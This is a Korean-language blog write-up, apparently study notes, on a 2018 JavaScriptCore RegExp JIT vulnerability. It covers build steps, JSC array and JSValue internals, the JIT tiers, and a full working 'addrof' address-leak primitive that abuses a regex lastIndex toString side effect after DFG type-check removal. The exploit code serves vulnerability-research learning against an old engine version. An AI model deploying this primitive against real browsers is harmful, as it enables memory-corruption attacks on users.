Hacking
home

JavaScriptCore RegEx-Exploit

Source:

Build

sudo apt install git gperf python ruby bison flex cmake build-essential ninja-build -y git clone https://github.com/WebKit/webkit.git # Fri Nov 16 05:12:25 2018 Updated git checkout 3af5ce129e6636350a887d01237a65c2fce77823 cd WebKit.git Tools/Scripts/build-webkit --jsc-only --debug
Bash
복사

BackGround

JSC’s Array

lldb와 Webkit의 디버깅 함수인 describe()를 이용해 jsc의 배열 구조를 확인해보자.

CopyOnWriteArrayWithInt32

먼저 정수 배열인 [1,2,3]을 분석해보자.
describe() 함수가 반환한 Object의 주소인 0x7fffb04b4340 를 확인해보면 첫번째 8바이트의 하위 1바이트가 StructureID인것을 확인할 수 있고, 두번째 8바이트는 butterfly의 주소인 0x7ff0000e4010 임을 알 수 있다.
0x7ff0000e4010 를 확인해보면 배열의 요소가 순서대로 들어있다.
이때 특이한것은 각 요소들의 상위 2바이트가 0xffff인것을 확인할 수 있는데, 이것은 JSCJSValue.h 에서 설명하듯이 JSValue의 인코딩 때문이다.
* Pointer { 0000:PPPP:PPPP:PPPP * / 0001:****:****:**** * Double { ... * \ FFFE:****:****:**** * Integer { FFFF:0000:IIII:IIII * False: 0x06 * True: 0x07 * Undefined: 0x0a * Null: 0x02
C
복사

CopyOnWriteArrayWithDouble

다음은 실수 배열인 [1, 2, 3.456]을 확인해보자.

CopyOnWriteArrayWithContiguous

다음은 문자열을 추가했다.

CopyOnWriteArrayWithContiguous

마지막으로 배열 요소에 객체와 배열을 추가했다.

Just-In-Time Compiler

JSCs는 4개의 tier를 가진다.
1.
LLINt interpreter
2.
Baseline JIT compiler
3.
DFG JIT
4.
FTL JIT

Tier 1: LLInt interpreter

기본 JavaScript 가상 머신인 일반 JavaScript 인터프리터이다.
//=================================================================================== // The llint C++ interpreter loop: // LowLevelInteroreter.cpp JSValue Cloop::execute(OpcodeID entry OpcodeID, void* executableAddress, VM* vm, ProtoCallFrame* protoCallFrame, bool isInitializationPass) { // Loop Javascript bytecode and execute each instruction // [...] snip }
C++
복사

Tier 2: Baseline JIT compiler

자주 호출되는 함수가 있으면 “HOT”된다. (hot → JSC가 함수를 JIT하기로 결정했음을 설명하는 용어)
void JIT::privateCompileMainPass() { ... // When the LLInt determines it wants to do OSR entry into the baseline JIT in a loop, // it will pass in the bytecode offset it was executing at when it kicked off our // compilation. We only need to compile code for anything reachable from that bytecode // offset. ... }
C++
복사
(함수 전체가 바이트 코드로 컴파일된것이 아님)

Tier 3: DFG JIT

함수의 statement가 100번 이상 실행되거나, 해당 함수가 6번 이상 호출되는 즉시 Tire2에서 컴파일된 코드로 실행이 전환된다. 이후에 statement가 1000번 이상 실행되거나 함수가 66번 이상 호출되면 DFG JIT으로 전환된다.
DFG는 바이트코드를 DFG CPS 형식으로 변환하면서 type을 추측하는데, 이때 type이 변환하지 않는다고 판단할 경우 type check를 제거한다.
이러한 특성을 이용해 exploit을 진행 할 예정.

Tier 4: FTL JIT

FLT JIT는 JavaScript에 C와 같은 더 공격적인 최적화를 제공하도록 설계되었다고 한다.

Exploitation

Object’s Address Leak

Full-Source-Code

function addrof(val) { var array = [13.37]; var reg = /abc/y; // Target function var AddrGetter = function(array) { // Just for avoid inlining for (var i = 2; i < array.length; i++) { if (num % i === 0) { return false; } } // Just for avoid inlining for (var i = 2; i < array.length; i++) { if (num % i === 0) { return false; } } "abc".match(reg); return array[0]; } // Force optimization for (var i = 0; i < 20000; ++i) AddrGetter(array); // Setup haxx regexLastIndex = {}; regexLastIndex.toString = function() { array[0] = val; return "0"; }; reg.lastIndex = regexLastIndex; // Do it! return AddrGetter(array); } object = {} print(describe(object)) print('Leaked object : '+addrof(object))
JavaScript
복사

How to Leak?

먼저 AddrGetter()함수의 내부 구현을 보면 의미없는 반복문이 있는것을 확인할 수 있는데, 이것은 inline optimize를 피하기 위함이다.
var AddrGetter = function(array) { // Just for avoid inlining for (var i = 2; i < array.length; i++) { if (num % i === 0) { return false; } } // Just for avoid inlining for (var i = 2; i < array.length; i++) { if (num % i === 0) { return false; } } "abc".match(reg); return array[0]; }
JavaScript
복사
여기서 String.match()를 호출하는 것을 확인할 수 있는데, 이 함수를 호출하는 이유는 뒤에서 설명하겠다.
다음으론 AddrGetter() 함수를 2만번 호출해 강제로 DFG JIT컴파일 시킨다.
// Force optimization for (var i = 0; i < 20000; ++i) AddrGetter(array);
JavaScript
복사
이때 해당 함수는 double array를 반환하는것으로 최적화 하게되어 type check를 제거한다.
코드 맨앞의 var reg = /abc/y; 에서 ‘y’는 정규식 객체의 Sticky property를 나타내고, 때문에 String.match(reg)를 호출할 때 마다 reg.lastIndex를 호출하게 된다.(index를 계산한다.)
이때 정규식 객체의 lastIndex를 수정해 빈객체를 지정하고(lastIndex가 string이기 때문), toString함수의 동작을 객체의 첫번째 요소를 임의의 객체로 지정하도록 변경한다 .(DFG 컴파일 과정에서 type check가 제거되었다.)
regexLastIndex = {}; regexLastIndex.toString = function() { array[0] = val; return "0"; }; reg.lastIndex = regexLastIndex; return AddrGetter(array);
JavaScript
복사
JSC_dumpSourceAtDFGTimeJSC_reportDFGCompileTimes환경변수를 이용하면 최적화되는 모든 js코드를 확인할 수 있다.
다음 사진과 같이 Symbol.match가 최적화 된 것을 확인할 수 있다.
이때 hasObservableSideEffectsForRegExpMatch 가 false일 경우 호출하는 @regExpMatchFast.@call 은 함수가 아닌 “op code/instruction”이다.

Result

leak된 object의 주소는 python 스크립트를 통해 unpack할 수 있다.
import struct leak = float(input()) hex(struct.unpack("Q", struct.pack("d", leak))[0])
Python
복사